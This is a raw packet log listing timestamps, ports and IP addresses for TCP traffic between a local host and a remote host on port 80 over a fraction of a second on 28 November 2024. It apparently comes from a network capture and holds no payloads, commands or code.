Nov 28, 2024 08:56:03.851581097 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.852226019 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.852533102 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.852636099 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.853039980 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.853653908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.853815079 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.853985071 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.854717970 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.854758978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.854784966 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.854866028 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.855876923 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.856029034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.856157064 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.856936932 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.857033014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.857059956 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.858016014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.858042002 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.858083963 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.858208895 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.859127045 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.859205008 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.859440088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.860161066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.860274076 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.860315084 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.860615015 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.861269951 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.861393929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.861421108 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.862387896 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.862493038 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.862520933 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.863504887 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.863584042 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.863621950 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.864518881 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.864689112 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.864716053 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.864979029 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.865693092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.865802050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.865829945 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.866811991 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.866965055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.867010117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.867446899 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.867892027 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.868007898 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.868036032 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.868977070 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.869066954 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.869093895 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.869683981 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.870049953 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.870162010 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.870181084 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.870347023 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.871150970 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.871212006 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.871237993 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.872283936 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.872392893 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.872428894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.872798920 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.873327017 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.873452902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.873481035 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.873637915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.874434948 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.874567986 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.874571085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.874738932 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.875540972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.875626087 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.875655890 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.876626015 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.876753092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.876781940 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.877717972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.877798080 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.877851009 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.878184080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.878798008 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.878894091 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.878930092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.879060030 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.879878998 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.879977942 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.880003929 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.881010056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.881159067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.881186962 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.881696939 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.882070065 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.882175922 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.882200956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.882318020 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.883167982 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.883234024 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.883263111 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.884702921 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.986148119 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.986229897 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.986485004 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.986681938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.986767054 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.986830950 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.987014055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.987776995 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.987886906 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.988687038 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.988934994 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.989047050 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.023629904 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.023643017 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.023744106 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.023788929 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.023834944 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.023947001 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.024615049 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.024787903 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.024813890 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.024988890 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.026124001 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.026138067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.026196003 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.026242018 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.026948929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.027040005 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.027154922 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.027864933 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.027970076 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.027997017 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.028315067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.028929949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.029005051 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.029206991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.030343056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.030354977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.030430079 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.030468941 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.031125069 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.031244993 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.031276941 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.031313896 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.032226086 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.032294035 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.032300949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.033520937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.033534050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.033561945 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.033679008 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.034420967 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.034539938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.034816980 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.035512924 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.035641909 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.035669088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.035775900 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.036612034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.036712885 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.036849976 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.037679911 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.037750006 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.037781000 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.037864923 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.038824081 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.038917065 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.038947105 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.039369106 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.039932966 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.040051937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.040054083 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.040127039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.041007996 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.041064024 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.041134119 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.041500092 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.042100906 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.042185068 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.042220116 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.042308092 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.043241978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.043313980 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.043369055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.043626070 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.044245005 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.044372082 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.044651985 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.045325994 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.045449972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.045476913 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.045674086 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.046401978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.046499014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.046525002 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.046677113 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.047564983 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.047612906 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.048341036 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.048626900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.048695087 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.048760891 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.048970938 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.049700022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.049770117 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.049798965 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.049866915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.050815105 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.050924063 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.051002979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.051192999 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.051887989 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.051970959 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.051986933 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.052115917 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.053004980 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.053189039 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.053244114 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.053273916 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.054059982 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.054160118 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.054178953 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.054269075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.055195093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.055243969 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.055258036 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.055881023 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.056271076 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.056384087 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.056426048 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.056562901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.057379007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.057481050 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.057531118 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.057641983 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.058429003 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.058542013 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.058572054 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.059576988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.059722900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.059741020 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.059969902 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.060703039 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.060782909 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.060810089 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.061014891 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.061748028 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.061845064 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.061920881 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.062813044 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.062880993 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.062912941 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.062979937 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.063904047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.063960075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.063992023 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.064043999 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.064977884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.065089941 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.065160036 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.066063881 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.066175938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.066190958 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.066283941 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.067147970 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.067246914 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.067342997 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.068274975 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.068401098 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.068430901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.068469048 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.069344044 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.069464922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.070430040 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.070514917 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.070553064 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.070676088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.071535110 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.071643114 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.071654081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.072061062 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.072629929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.072743893 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.072796106 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.072935104 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.073693037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.073790073 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.073808908 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.074173927 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.074923038 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.075030088 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.075045109 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.075896978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.075903893 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.076001883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.076001883 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.076075077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.187562943 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.187676907 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.187829018 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.188117981 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.188184977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.188219070 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.189202070 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.189305067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.189333916 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.189645052 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.190253019 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.190536022 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.231064081 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.231080055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.231147051 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.231422901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.232016087 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.232029915 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.232108116 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.232120991 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.232222080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.232222080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.232860088 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.232875109 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.233477116 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.237602949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237618923 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237632036 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237715006 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.237715006 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.237881899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237900019 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237915039 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.237960100 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238089085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238115072 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238162041 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238193035 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238204956 CET	80	49839	185.215.113.16	192.168.2.8
